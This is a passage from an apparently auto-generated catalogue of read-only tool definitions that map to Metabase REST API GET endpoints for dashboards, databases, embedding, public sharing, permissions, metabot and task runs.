metabase_get_api_dashboard_by_id_params_by_param_key_search_by_query (read) — Get dashboard params search via GET /api/dashboard/{id}/params/{param-key}/search/{query} GET /api/v1/metabase/api/dashboard/{id}/params/{param_key}/search/{query}. Scopes: api. metabase_get_api_dashboard_by_id_params_by_param_key_values (read) — Get dashboard params values via GET /api/dashboard/{id}/params/{param-key}/values GET /api/v1/metabase/api/dashboard/{id}/params/{param_key}/values. Scopes: api. metabase_get_api_dashboard_by_id_query_metadata (read) — Get dashboard query metadata via GET /api/dashboard/{id}/query_metadata GET /api/v1/metabase/api/dashboard/{id}/query_metadata. Scopes: api. metabase_get_api_dashboard_by_id_related (read) — Get dashboard related via GET /api/dashboard/{id}/related GET /api/v1/metabase/api/dashboard/{id}/related. Scopes: api. metabase_get_api_dashboard_embeddable (read) — Get dashboard embeddable via GET /api/dashboard/embeddable GET /api/v1/metabase/api/dashboard/embeddable. Scopes: api. metabase_get_api_dashboard_params_valid_filter_fields (read) — Get dashboard params valid filter fields via GET /api/dashboard/params/valid-filter-fields GET /api/v1/metabase/api/dashboard/params/valid-filter-fields. Scopes: api. metabase_get_api_dashboard_public (read) — Get dashboard public via GET /api/dashboard/public GET /api/v1/metabase/api/dashboard/public. Scopes: api. metabase_get_api_database (read) — Get database via GET /api/database GET /api/v1/metabase/api/database. Scopes: api. metabase_get_api_database_by_id (read) — Get database via GET /api/database/{id} GET /api/v1/metabase/api/database/{id}. Scopes: api. metabase_get_api_database_by_id_autocomplete_suggestions (read) — Get database autocomplete suggestions via GET /api/database/{id}/autocomplete_suggestions GET /api/v1/metabase/api/database/{id}/autocomplete_suggestions. Scopes: api. metabase_get_api_database_by_id_card_autocomplete_suggestions (read) — Get database card autocomplete suggestions via GET /api/database/{id}/card_autocomplete_suggestions GET /api/v1/metabase/api/database/{id}/card_autocomplete_suggestions. Scopes: api. metabase_get_api_database_by_id_fields (read) — Get database fields via GET /api/database/{id}/fields GET /api/v1/metabase/api/database/{id}/fields. Scopes: api. metabase_get_api_database_by_id_healthcheck (read) — Get database healthcheck via GET /api/database/{id}/healthcheck GET /api/v1/metabase/api/database/{id}/healthcheck. Scopes: api. metabase_get_api_database_by_id_idfields (read) — Get database idfields via GET /api/database/{id}/idfields GET /api/v1/metabase/api/database/{id}/idfields. Scopes: api. metabase_get_api_database_by_id_metadata (read) — Get database metadata via GET /api/database/{id}/metadata GET /api/v1/metabase/api/database/{id}/metadata. Scopes: api. metabase_get_api_database_by_id_schema (read) — Get database schema via GET /api/database/{id}/schema GET /api/v1/metabase/api/database/{id}/schema. Scopes: api. metabase_get_api_database_by_id_schema_by_schema (read) — Get database schema via GET /api/database/{id}/schema/{schema} GET /api/v1/metabase/api/database/{id}/schema/{schema}. Scopes: api. metabase_get_api_database_by_id_schemas (read) — Get database schemas via GET /api/database/{id}/schemas GET /api/v1/metabase/api/database/{id}/schemas. Scopes: api. metabase_get_api_database_by_id_settings_available (read) — Get database settings available via GET /api/database/{id}/settings-available GET /api/v1/metabase/api/database/{id}/settings-available. Scopes: api. metabase_get_api_database_by_id_syncable_schemas (read) — Get database syncable schemas via GET /api/database/{id}/syncable_schemas GET /api/v1/metabase/api/database/{id}/syncable_schemas. Scopes: api. metabase_get_api_database_by_id_usage_info (read) — Get database usage info via GET /api/database/{id}/usage_info GET /api/v1/metabase/api/database/{id}/usage_info. Scopes: api. metabase_get_api_database_by_virtual_db_datasets (read) — Get database datasets via GET /api/database/{virtual-db}/datasets GET /api/v1/metabase/api/database/virtual/{virtual_db}/datasets. Scopes: api. metabase_get_api_database_by_virtual_db_datasets_by_schema (read) — Get database datasets via GET /api/database/{virtual-db}/datasets/{schema} GET /api/v1/metabase/api/database/virtual/{virtual_db}/datasets/{schema}. Scopes: api. metabase_get_api_document (read) — Get document via GET /api/document GET /api/v1/metabase/api/document. Scopes: api. metabase_get_api_document_by_document_id (read) — Get document via GET /api/document/{document-id} GET /api/v1/metabase/api/document/{document_id}. Scopes: api. metabase_get_api_document_public (read) — Get document public via GET /api/document/public GET /api/v1/metabase/api/document/public. Scopes: api. metabase_get_api_embed_card_by_token (read) — Get embed card via GET /api/embed/card/{token} GET /api/v1/metabase/api/embed/card/{token}. Scopes: api. metabase_get_api_embed_card_by_token_params_by_param_key_remapping (read) — Get embed card params remapping via GET /api/embed/card/{token}/params/{param-key}/remapping GET /api/v1/metabase/api/embed/card/{token}/params/{param_key}/remapping. Scopes: api. metabase_get_api_embed_card_by_token_params_by_param_key_search_by_prefix (read) — Get embed card params search via GET /api/embed/card/{token}/params/{param-key}/search/{prefix} GET /api/v1/metabase/api/embed/card/{token}/params/{param_key}/search/{prefix}. Scopes: api. metabase_get_api_embed_card_by_token_params_by_param_key_values (read) — Get embed card params values via GET /api/embed/card/{token}/params/{param-key}/values GET /api/v1/metabase/api/embed/card/{token}/params/{param_key}/values. Scopes: api. metabase_get_api_embed_card_by_token_query (read) — Get embed card query via GET /api/embed/card/{token}/query GET /api/v1/metabase/api/embed/card/{token}/query. Scopes: api. metabase_get_api_embed_card_by_token_query_by_export_format (read) — Get embed card query via GET /api/embed/card/{token}/query/{export-format} GET /api/v1/metabase/api/embed/card/{token}/query/{export_format}. Scopes: api. metabase_get_api_embed_dashboard_by_token (read) — Get embed dashboard via GET /api/embed/dashboard/{token} GET /api/v1/metabase/api/embed/dashboard/{token}. Scopes: api. metabase_get_api_embed_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id (read) — Get embed dashboard dashcard card via GET /api/embed/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id} GET /api/v1/metabase/api/embed/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}. Scopes: api. metabase_get_api_embed_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id_by_export_format (read) — Get embed dashboard dashcard card via GET /api/embed/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id}/{export-format} GET /api/v1/metabase/api/embed/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}/{export_format}. Scopes: api. metabase_get_api_embed_dashboard_by_token_params_by_param_key_remapping (read) — Get embed dashboard params remapping via GET /api/embed/dashboard/{token}/params/{param-key}/remapping GET /api/v1/metabase/api/embed/dashboard/{token}/params/{param_key}/remapping. Scopes: api. metabase_get_api_embed_dashboard_by_token_params_by_param_key_search_by_prefix (read) — Get embed dashboard params search via GET /api/embed/dashboard/{token}/params/{param-key}/search/{prefix} GET /api/v1/metabase/api/embed/dashboard/{token}/params/{param_key}/search/{prefix}. Scopes: api. metabase_get_api_embed_dashboard_by_token_params_by_param_key_values (read) — Get embed dashboard params values via GET /api/embed/dashboard/{token}/params/{param-key}/values GET /api/v1/metabase/api/embed/dashboard/{token}/params/{param_key}/values. Scopes: api. metabase_get_api_embed_pivot_card_by_token_query (read) — Get embed pivot card query via GET /api/embed/pivot/card/{token}/query GET /api/v1/metabase/api/embed/pivot/card/{token}/query. Scopes: api. metabase_get_api_embed_pivot_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id (read) — Get embed pivot dashboard dashcard card via GET /api/embed/pivot/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id} GET /api/v1/metabase/api/embed/pivot/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}. Scopes: api. metabase_get_api_embed_theme (read) — Get embed theme via GET /api/embed-theme GET /api/v1/metabase/api/embed-theme. Scopes: api. metabase_get_api_embed_theme_by_id (read) — Get embed theme via GET /api/embed-theme/{id} GET /api/v1/metabase/api/embed-theme/{id}. Scopes: api. metabase_get_api_embed_tiles_card_by_token_by_zoom_by_x_by_y (read) — Get embed tiles card via GET /api/embed/tiles/card/{token}/{zoom}/{x}/{y} GET /api/v1/metabase/api/embed/tiles/card/{token}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_embed_tiles_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id_by_zoom_by_x_by_y (read) — Get embed tiles dashboard dashcard card via GET /api/embed/tiles/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id}/{zoom}/{x}/{y} GET /api/v1/metabase/api/embed/tiles/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_field_by_id (read) — Get field via GET /api/field/{id} GET /api/v1/metabase/api/field/{id}. Scopes: api. metabase_get_api_field_by_id_related (read) — Get field related via GET /api/field/{id}/related GET /api/v1/metabase/api/field/{id}/related. Scopes: api. metabase_get_api_field_by_id_remapping_by_remapped_id (read) — Get field id remapping remapped via GET /api/field/{id}/remapping/{remapped-id} GET /api/v1/metabase/api/field/{id}/remapping/{remapped_id}. Scopes: api. metabase_get_api_field_by_id_search_by_search_id (read) — Get field id search search via GET /api/field/{id}/search/{search-id} GET /api/v1/metabase/api/field/{id}/search/{search_id}. Scopes: api. metabase_get_api_field_by_id_summary (read) — Get field summary via GET /api/field/{id}/summary GET /api/v1/metabase/api/field/{id}/summary. Scopes: api. metabase_get_api_field_by_id_values (read) — Get field values via GET /api/field/{id}/values GET /api/v1/metabase/api/field/{id}/values. Scopes: api. metabase_get_api_geojson (read) — Get geojson via GET /api/geojson GET /api/v1/metabase/api/geojson. Scopes: api. metabase_get_api_geojson_by_key (read) — Get geojson via GET /api/geojson/{key} GET /api/v1/metabase/api/geojson/{key}. Scopes: api. metabase_get_api_glossary (read) — Get glossary via GET /api/glossary GET /api/v1/metabase/api/glossary. Scopes: api. metabase_get_api_health_inspector (read) — Get health inspector via GET /api/health-inspector GET /api/v1/metabase/api/health-inspector. Scopes: api. metabase_get_api_llm_list_models (read) — Get llm list models via GET /api/llm/list-models GET /api/v1/metabase/api/llm/list-models. Scopes: api. metabase_get_api_logger_logs (read) — Get logger logs via GET /api/logger/logs GET /api/v1/metabase/api/logger/logs. Scopes: api. metabase_get_api_logger_presets (read) — Get logger presets via GET /api/logger/presets GET /api/v1/metabase/api/logger/presets. Scopes: api. metabase_get_api_login_history_current (read) — Get login history current via GET /api/login-history/current GET /api/v1/metabase/api/login-history/current. Scopes: api. metabase_get_api_measure (read) — Get measure via GET /api/measure GET /api/v1/metabase/api/measure. Scopes: api. metabase_get_api_measure_by_id (read) — Get measure via GET /api/measure/{id} GET /api/v1/metabase/api/measure/{id}. Scopes: api. metabase_get_api_measure_by_id_dimension_by_dimension_key_remapping (read) — Get measure dimension remapping via GET /api/measure/{id}/dimension/{dimension-key}/remapping GET /api/v1/metabase/api/measure/{id}/dimension/{dimension_key}/remapping. Scopes: api. metabase_get_api_measure_by_id_dimension_by_dimension_key_search (read) — Get measure dimension search via GET /api/measure/{id}/dimension/{dimension-key}/search GET /api/v1/metabase/api/measure/{id}/dimension/{dimension_key}/search. Scopes: api. metabase_get_api_measure_by_id_dimension_by_dimension_key_values (read) — Get measure dimension values via GET /api/measure/{id}/dimension/{dimension-key}/values GET /api/v1/metabase/api/measure/{id}/dimension/{dimension_key}/values. Scopes: api. metabase_get_api_metabot_conversations (read) — Get metabot conversations via GET /api/metabot/conversations GET /api/v1/metabase/api/metabot/conversations. Scopes: api. metabase_get_api_metabot_conversations_by_id (read) — Get metabot conversations via GET /api/metabot/conversations/{id} GET /api/v1/metabase/api/metabot/conversations/{id}. Scopes: api. metabase_get_api_metabot_metabot (read) — Get metabot metabot via GET /api/metabot/metabot GET /api/v1/metabase/api/metabot/metabot. Scopes: api. metabase_get_api_metabot_metabot_by_id (read) — Get metabot metabot via GET /api/metabot/metabot/{id} GET /api/v1/metabase/api/metabot/metabot/{id}. Scopes: api. metabase_get_api_metabot_metabot_by_id_prompt_suggestions (read) — Get metabot metabot prompt suggestions via GET /api/metabot/metabot/{id}/prompt-suggestions GET /api/v1/metabase/api/metabot/metabot/{id}/prompt-suggestions. Scopes: api. metabase_get_api_metabot_permissions_user_permissions (read) — Get metabot permissions user permissions via GET /api/metabot/permissions/user-permissions GET /api/v1/metabase/api/metabot/permissions/user-permissions. Scopes: api. metabase_get_api_metabot_settings (read) — Get metabot settings via GET /api/metabot/settings GET /api/v1/metabase/api/metabot/settings. Scopes: api. metabase_get_api_metric (read) — Get metric via GET /api/metric GET /api/v1/metabase/api/metric. Scopes: api. metabase_get_api_metric_by_id (read) — Get metric via GET /api/metric/{id} GET /api/v1/metabase/api/metric/{id}. Scopes: api. metabase_get_api_metric_by_id_dimension_by_dimension_key_remapping (read) — Get metric dimension remapping via GET /api/metric/{id}/dimension/{dimension-key}/remapping GET /api/v1/metabase/api/metric/{id}/dimension/{dimension_key}/remapping. Scopes: api. metabase_get_api_metric_by_id_dimension_by_dimension_key_search (read) — Get metric dimension search via GET /api/metric/{id}/dimension/{dimension-key}/search GET /api/v1/metabase/api/metric/{id}/dimension/{dimension_key}/search. Scopes: api. metabase_get_api_metric_by_id_dimension_by_dimension_key_values (read) — Get metric dimension values via GET /api/metric/{id}/dimension/{dimension-key}/values GET /api/v1/metabase/api/metric/{id}/dimension/{dimension_key}/values. Scopes: api. metabase_get_api_model_index (read) — Get model index via GET /api/model-index GET /api/v1/metabase/api/model-index. Scopes: api. metabase_get_api_model_index_by_id (read) — Get model index via GET /api/model-index/{id} GET /api/v1/metabase/api/model-index/{id}. Scopes: api. metabase_get_api_mt_gtap (read) — Get mt gtap via GET /api/mt/gtap GET /api/v1/metabase/api/mt/gtap. Scopes: api. metabase_get_api_mt_gtap_by_id (read) — Get mt gtap via GET /api/mt/gtap/{id} GET /api/v1/metabase/api/mt/gtap/{id}. Scopes: api. metabase_get_api_mt_user_attributes (read) — Get mt user attributes via GET /api/mt/user/attributes GET /api/v1/metabase/api/mt/user/attributes. Scopes: api. metabase_get_api_native_query_snippet (read) — Get native query snippet via GET /api/native-query-snippet GET /api/v1/metabase/api/native-query-snippet. Scopes: api. metabase_get_api_native_query_snippet_by_id (read) — Get native query snippet via GET /api/native-query-snippet/{id} GET /api/v1/metabase/api/native-query-snippet/{id}. Scopes: api. metabase_get_api_notification (read) — Get notification via GET /api/notification GET /api/v1/metabase/api/notification. Scopes: api. metabase_get_api_notification_admin (read) — Get notification admin via GET /api/notification/admin GET /api/v1/metabase/api/notification/admin. Scopes: api. metabase_get_api_notification_admin_by_id (read) — Get notification admin via GET /api/notification/admin/{id} GET /api/v1/metabase/api/notification/admin/{id}. Scopes: api. metabase_get_api_notification_by_id (read) — Get notification via GET /api/notification/{id} GET /api/v1/metabase/api/notification/{id}. Scopes: api. metabase_get_api_oauth_authorizations (read) — Get oauth authorizations via GET /api/oauth/authorizations GET /api/v1/metabase/api/oauth/authorizations. Scopes: api. metabase_get_api_osi_ai_context (read) — Get osi ai context via GET /api/osi/ai-context GET /api/v1/metabase/api/osi/ai-context. Scopes: api. metabase_get_api_osi_ai_context_by_entity_type_by_entity_local_id (read) — Get osi ai context via GET /api/osi/ai-context/{entity-type}/{entity-local-id} GET /api/v1/metabase/api/osi/ai-context/{entity_type}/{entity_local_id}. Scopes: api. metabase_get_api_permissions_graph (read) — Get permissions graph via GET /api/permissions/graph GET /api/v1/metabase/api/permissions/graph. Scopes: api. metabase_get_api_permissions_graph_db_by_db_id (read) — Get permissions graph db via GET /api/permissions/graph/db/{db-id} GET /api/v1/metabase/api/permissions/graph/db/{db_id}. Scopes: api. metabase_get_api_permissions_graph_group_by_group_id (read) — Get permissions graph group via GET /api/permissions/graph/group/{group-id} GET /api/v1/metabase/api/permissions/graph/group/{group_id}. Scopes: api. metabase_get_api_permissions_group (read) — Get permissions group via GET /api/permissions/group GET /api/v1/metabase/api/permissions/group. Scopes: api. metabase_get_api_permissions_group_by_id (read) — Get permissions group via GET /api/permissions/group/{id} GET /api/v1/metabase/api/permissions/group/{id}. Scopes: api. metabase_get_api_permissions_membership (read) — Get permissions membership via GET /api/permissions/membership GET /api/v1/metabase/api/permissions/membership. Scopes: api. metabase_get_api_persist (read) — Get persist via GET /api/persist GET /api/v1/metabase/api/persist. Scopes: api. metabase_get_api_persist_by_persisted_info_id (read) — Get persist via GET /api/persist/{persisted-info-id} GET /api/v1/metabase/api/persist/{persisted_info_id}. Scopes: api. metabase_get_api_persist_card_by_card_id (read) — Get persist card via GET /api/persist/card/{card-id} GET /api/v1/metabase/api/persist/card/{card_id}. Scopes: api. metabase_get_api_premium_features_token_status (read) — Get premium features token status via GET /api/premium-features/token/status GET /api/v1/metabase/api/premium-features/token/status. Scopes: api. metabase_get_api_preview_embed_card_by_token (read) — Get preview embed card via GET /api/preview_embed/card/{token} GET /api/v1/metabase/api/preview_embed/card/{token}. Scopes: api. metabase_get_api_preview_embed_card_by_token_params_by_param_key_remapping (read) — Get preview embed card params remapping via GET /api/preview_embed/card/{token}/params/{param-key}/remapping GET /api/v1/metabase/api/preview_embed/card/{token}/params/{param_key}/remapping. Scopes: api. metabase_get_api_preview_embed_card_by_token_params_by_param_key_values (read) — Get preview embed card params values via GET /api/preview_embed/card/{token}/params/{param-key}/values GET /api/v1/metabase/api/preview_embed/card/{token}/params/{param_key}/values. Scopes: api. metabase_get_api_preview_embed_card_by_token_query (read) — Get preview embed card query via GET /api/preview_embed/card/{token}/query GET /api/v1/metabase/api/preview_embed/card/{token}/query. Scopes: api. metabase_get_api_preview_embed_dashboard_by_token (read) — Get preview embed dashboard via GET /api/preview_embed/dashboard/{token} GET /api/v1/metabase/api/preview_embed/dashboard/{token}. Scopes: api. metabase_get_api_preview_embed_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id (read) — Get preview embed dashboard dashcard card via GET /api/preview_embed/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id} GET /api/v1/metabase/api/preview_embed/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}. Scopes: api. metabase_get_api_preview_embed_dashboard_by_token_params_by_param_key_remapping (read) — Get preview embed dashboard params remapping via GET /api/preview_embed/dashboard/{token}/params/{param-key}/remapping GET /api/v1/metabase/api/preview_embed/dashboard/{token}/params/{param_key}/remapping. Scopes: api. metabase_get_api_preview_embed_dashboard_by_token_params_by_param_key_search_by_prefix (read) — Get preview embed dashboard params search via GET /api/preview_embed/dashboard/{token}/params/{param-key}/search/{prefix} GET /api/v1/metabase/api/preview_embed/dashboard/{token}/params/{param_key}/search/{prefix}. Scopes: api. metabase_get_api_preview_embed_dashboard_by_token_params_by_param_key_values (read) — Get preview embed dashboard params values via GET /api/preview_embed/dashboard/{token}/params/{param-key}/values GET /api/v1/metabase/api/preview_embed/dashboard/{token}/params/{param_key}/values. Scopes: api. metabase_get_api_preview_embed_pivot_card_by_token_query (read) — Get preview embed pivot card query via GET /api/preview_embed/pivot/card/{token}/query GET /api/v1/metabase/api/preview_embed/pivot/card/{token}/query. Scopes: api. metabase_get_api_preview_embed_pivot_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id (read) — Get preview embed pivot dashboard dashcard card via GET /api/preview_embed/pivot/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id} GET /api/v1/metabase/api/preview_embed/pivot/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}. Scopes: api. metabase_get_api_preview_embed_tiles_card_by_token_by_zoom_by_x_by_y (read) — Get preview embed tiles card via GET /api/preview_embed/tiles/card/{token}/{zoom}/{x}/{y} GET /api/v1/metabase/api/preview_embed/tiles/card/{token}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_preview_embed_tiles_dashboard_by_token_dashcard_by_dashcard_id_card_by_card_id_by_zoom_by_x_by_y (read) — Get preview embed tiles dashboard dashcard card via GET /api/preview_embed/tiles/dashboard/{token}/dashcard/{dashcard-id}/card/{card-id}/{zoom}/{x}/{y} GET /api/v1/metabase/api/preview_embed/tiles/dashboard/{token}/dashcard/{dashcard_id}/card/{card_id}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_public_action_by_uuid (read) — Get public action via GET /api/public/action/{uuid} GET /api/v1/metabase/api/public/action/{uuid}. Scopes: api. metabase_get_api_public_card_by_uuid (read) — Get public card via GET /api/public/card/{uuid} GET /api/v1/metabase/api/public/card/{uuid}. Scopes: api. metabase_get_api_public_card_by_uuid_params_by_param_key_remapping (read) — Get public card params remapping via GET /api/public/card/{uuid}/params/{param-key}/remapping GET /api/v1/metabase/api/public/card/{uuid}/params/{param_key}/remapping. Scopes: api. metabase_get_api_public_card_by_uuid_params_by_param_key_search_by_query (read) — Get public card params search via GET /api/public/card/{uuid}/params/{param-key}/search/{query} GET /api/v1/metabase/api/public/card/{uuid}/params/{param_key}/search/{query}. Scopes: api. metabase_get_api_public_card_by_uuid_params_by_param_key_values (read) — Get public card params values via GET /api/public/card/{uuid}/params/{param-key}/values GET /api/v1/metabase/api/public/card/{uuid}/params/{param_key}/values. Scopes: api. metabase_get_api_public_card_by_uuid_query (read) — Get public card query via GET /api/public/card/{uuid}/query GET /api/v1/metabase/api/public/card/{uuid}/query. Scopes: api. metabase_get_api_public_card_by_uuid_query_by_export_format (read) — Get public card query via GET /api/public/card/{uuid}/query/{export-format} GET /api/v1/metabase/api/public/card/{uuid}/query/{export_format}. Scopes: api. metabase_get_api_public_dashboard_by_uuid (read) — Get public dashboard via GET /api/public/dashboard/{uuid} GET /api/v1/metabase/api/public/dashboard/{uuid}. Scopes: api. metabase_get_api_public_dashboard_by_uuid_dashcard_by_dashcard_id_card_by_card_id (read) — Get public dashboard dashcard card via GET /api/public/dashboard/{uuid}/dashcard/{dashcard-id}/card/{card-id} GET /api/v1/metabase/api/public/dashboard/{uuid}/dashcard/{dashcard_id}/card/{card_id}. Scopes: api. metabase_get_api_public_dashboard_by_uuid_dashcard_by_dashcard_id_execute (read) — Get public dashboard dashcard execute via GET /api/public/dashboard/{uuid}/dashcard/{dashcard-id}/execute GET /api/v1/metabase/api/public/dashboard/{uuid}/dashcard/{dashcard_id}/execute. Scopes: api. metabase_get_api_public_dashboard_by_uuid_params_by_param_key_remapping (read) — Get public dashboard params remapping via GET /api/public/dashboard/{uuid}/params/{param-key}/remapping GET /api/v1/metabase/api/public/dashboard/{uuid}/params/{param_key}/remapping. Scopes: api. metabase_get_api_public_dashboard_by_uuid_params_by_param_key_search_by_query (read) — Get public dashboard params search via GET /api/public/dashboard/{uuid}/params/{param-key}/search/{query} GET /api/v1/metabase/api/public/dashboard/{uuid}/params/{param_key}/search/{query}. Scopes: api. metabase_get_api_public_dashboard_by_uuid_params_by_param_key_values (read) — Get public dashboard params values via GET /api/public/dashboard/{uuid}/params/{param-key}/values GET /api/v1/metabase/api/public/dashboard/{uuid}/params/{param_key}/values. Scopes: api. metabase_get_api_public_document_by_uuid (read) — Get public document via GET /api/public/document/{uuid} GET /api/v1/metabase/api/public/document/{uuid}. Scopes: api. metabase_get_api_public_document_by_uuid_card_by_card_id (read) — Get public document card via GET /api/public/document/{uuid}/card/{card-id} GET /api/v1/metabase/api/public/document/{uuid}/card/{card_id}. Scopes: api. metabase_get_api_public_oembed (read) — Get public oembed via GET /api/public/oembed GET /api/v1/metabase/api/public/oembed. Scopes: api. metabase_get_api_public_pivot_card_by_uuid_query (read) — Get public pivot card query via GET /api/public/pivot/card/{uuid}/query GET /api/v1/metabase/api/public/pivot/card/{uuid}/query. Scopes: api. metabase_get_api_public_pivot_dashboard_by_uuid_dashcard_by_dashcard_id_card_by_card_id (read) — Get public pivot dashboard dashcard card via GET /api/public/pivot/dashboard/{uuid}/dashcard/{dashcard-id}/card/{card-id} GET /api/v1/metabase/api/public/pivot/dashboard/{uuid}/dashcard/{dashcard_id}/card/{card_id}. Scopes: api. metabase_get_api_public_tiles_card_by_uuid_by_zoom_by_x_by_y (read) — Get public tiles card via GET /api/public/tiles/card/{uuid}/{zoom}/{x}/{y} GET /api/v1/metabase/api/public/tiles/card/{uuid}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_public_tiles_dashboard_by_uuid_dashcard_by_dashcard_id_card_by_card_id_by_zoom_by_x_by_y (read) — Get public tiles dashboard dashcard card via GET /api/public/tiles/dashboard/{uuid}/dashcard/{dashcard-id}/card/{card-id}/{zoom}/{x}/{y} GET /api/v1/metabase/api/public/tiles/dashboard/{uuid}/dashcard/{dashcard_id}/card/{card_id}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_pulse (read) — Get pulse via GET /api/pulse GET /api/v1/metabase/api/pulse. Scopes: api. metabase_get_api_pulse_by_id (read) — Get pulse via GET /api/pulse/{id} GET /api/v1/metabase/api/pulse/{id}. Scopes: api. metabase_get_api_pulse_form_input (read) — Get pulse form input via GET /api/pulse/form_input GET /api/v1/metabase/api/pulse/form_input. Scopes: api. metabase_get_api_revision (read) — Get revision via GET /api/revision GET /api/v1/metabase/api/revision. Scopes: api. metabase_get_api_revision_by_entity_by_id (read) — Get revision via GET /api/revision/{entity}/{id} GET /api/v1/metabase/api/revision/{entity}/{id}. Scopes: api. metabase_get_api_search (read) — Get search via GET /api/search GET /api/v1/metabase/api/search. Scopes: api. metabase_get_api_search_debug (read) — Get search debug via GET /api/search/debug GET /api/v1/metabase/api/search/debug. Scopes: api. metabase_get_api_search_weights (read) — Get search weights via GET /api/search/weights GET /api/v1/metabase/api/search/weights. Scopes: api. metabase_get_api_segment (read) — Get segment via GET /api/segment GET /api/v1/metabase/api/segment. Scopes: api. metabase_get_api_segment_by_id (read) — Get segment via GET /api/segment/{id} GET /api/v1/metabase/api/segment/{id}. Scopes: api. metabase_get_api_segment_by_id_related (read) — Get segment related via GET /api/segment/{id}/related GET /api/v1/metabase/api/segment/{id}/related. Scopes: api. metabase_get_api_session_password_reset_token_valid (read) — Get session password reset token valid via GET /api/session/password_reset_token_valid GET /api/v1/metabase/api/session/password_reset_token_valid. Scopes: api. metabase_get_api_session_properties (read) — Get session properties via GET /api/session/properties GET /api/v1/metabase/api/session/properties. Scopes: api. metabase_get_api_setting (read) — Get setting via GET /api/setting GET /api/v1/metabase/api/setting. Scopes: api. metabase_get_api_setting_by_key (read) — Get setting via GET /api/setting/{key} GET /api/v1/metabase/api/setting/{key}. Scopes: api. metabase_get_api_slack_app_info (read) — Get slack app info via GET /api/slack/app-info GET /api/v1/metabase/api/slack/app-info. Scopes: api. metabase_get_api_slack_manifest (read) — Get slack manifest via GET /api/slack/manifest GET /api/v1/metabase/api/slack/manifest. Scopes: api. metabase_get_api_table (read) — Get table via GET /api/table GET /api/v1/metabase/api/table. Scopes: api. metabase_get_api_table_by_id (read) — Get table via GET /api/table/{id} GET /api/v1/metabase/api/table/{id}. Scopes: api. metabase_get_api_table_by_id_fks (read) — Get table fks via GET /api/table/{id}/fks GET /api/v1/metabase/api/table/{id}/fks. Scopes: api. metabase_get_api_table_by_id_query_metadata (read) — Get table query metadata via GET /api/table/{id}/query_metadata GET /api/v1/metabase/api/table/{id}/query_metadata. Scopes: api. metabase_get_api_table_by_id_related (read) — Get table related via GET /api/table/{id}/related GET /api/v1/metabase/api/table/{id}/related. Scopes: api. metabase_get_api_table_by_table_id_data (read) — Get table data via GET /api/table/{table-id}/data GET /api/v1/metabase/api/table/{table_id}/data. Scopes: api. metabase_get_api_table_card_id_fks (read) — Get table card fks via GET /api/table/card__{id}/fks GET /api/v1/metabase/api/table/card__{id}/fks. Scopes: api. metabase_get_api_table_card_id_query_metadata (read) — Get table card query metadata via GET /api/table/card__{id}/query_metadata GET /api/v1/metabase/api/table/card__{id}/query_metadata. Scopes: api. metabase_get_api_task (read) — Get task via GET /api/task GET /api/v1/metabase/api/task. Scopes: api. metabase_get_api_task_by_id (read) — Get task via GET /api/task/{id} GET /api/v1/metabase/api/task/{id}. Scopes: api. metabase_get_api_task_info (read) — Get task info via GET /api/task/info GET /api/v1/metabase/api/task/info. Scopes: api. metabase_get_api_task_runs (read) — Get task runs via GET /api/task/runs GET /api/v1/metabase/api/task/runs. Scopes: api. metabase_get_api_task_runs_by_id (read) — Get task runs via GET /api/task/runs/{id} GET /api/v1/metabase/api/task/runs/{id}. Scopes: api. metabase_get_api_task_runs_entities (read) — Get task runs entities via GET /api/task/runs/entities GET /api/v1/metabase/api/task/runs/entities. Scopes: api. metabase_get_api_task_unique_tasks (read) — Get task unique tasks via GET /api/task/unique-tasks GET /api/v1/metabase/api/task/unique-tasks. Scopes: api. metabase_get_api_tiles_by_card_id_by_zoom_by_x_by_y (read) — Get tiles via GET /api/tiles/{card-id}/{zoom}/{x}/{y} GET /api/v1/metabase/api/tiles/{card_id}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_tiles_by_dashboard_id_dashcard_by_dashcard_id_card_by_card_id_by_zoom_by_x_by_y (read) — Get tiles dashcard card via GET /api/tiles/{dashboard-id}/dashcard/{dashcard-id}/card/{card-id}/{zoom}/{x}/{y} GET /api/v1/metabase/api/tiles/{dashboard_id}/dashcard/{dashcard_id}/card/{card_id}/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_tiles_by_zoom_by_x_by_y (read) — Get tiles via GET /api/tiles/{zoom}/{x}/{y} GET /api/v1/metabase/api/tiles/{zoom}/{x}/{y}. Scopes: api. metabase_get_api_timeline (read) — Get timeline via GET /api/timeline GET /api/v1/metabase/api/timeline. Scopes: api. metabase_get_api_timeline_by_id (read) — Get timeline via GET /api/timeline/{id} GET /api/v1/metabase/api/timeline/{id}. Scopes: api. metabase_get_api_timeline_collection_by_id (read) — Get timeline collection via GET /api/timeline/collection/{id} GET /api/v1/metabase/api/timeline/collection/{id}. Scopes: api. metabase_get_api_timeline_collection_root (read) — Get timeline collection root via GET /api/timeline/collection/root GET /api/v1/metabase/api/timeline/collection/root. Scopes: api. metabase_get_api_timeline_event_by_id (read) — Get timeline event via GET /api/timeline-event/{id} GET /api/v1/metabase/api/timeline-event/{id}. Scopes: api. metabase_get_api_transform (read) — Get transform via GET /api/transform GET /api/v1/metabase/api/transform. Scopes: api. metabase_get_api_transform_by_id (read) — Get transform via GET /api/transform/{id} GET /api/v1/metabase/api/transform/{id}. Scopes: api. metabase_get_api_transform_by_id_dependencies (read) — Get 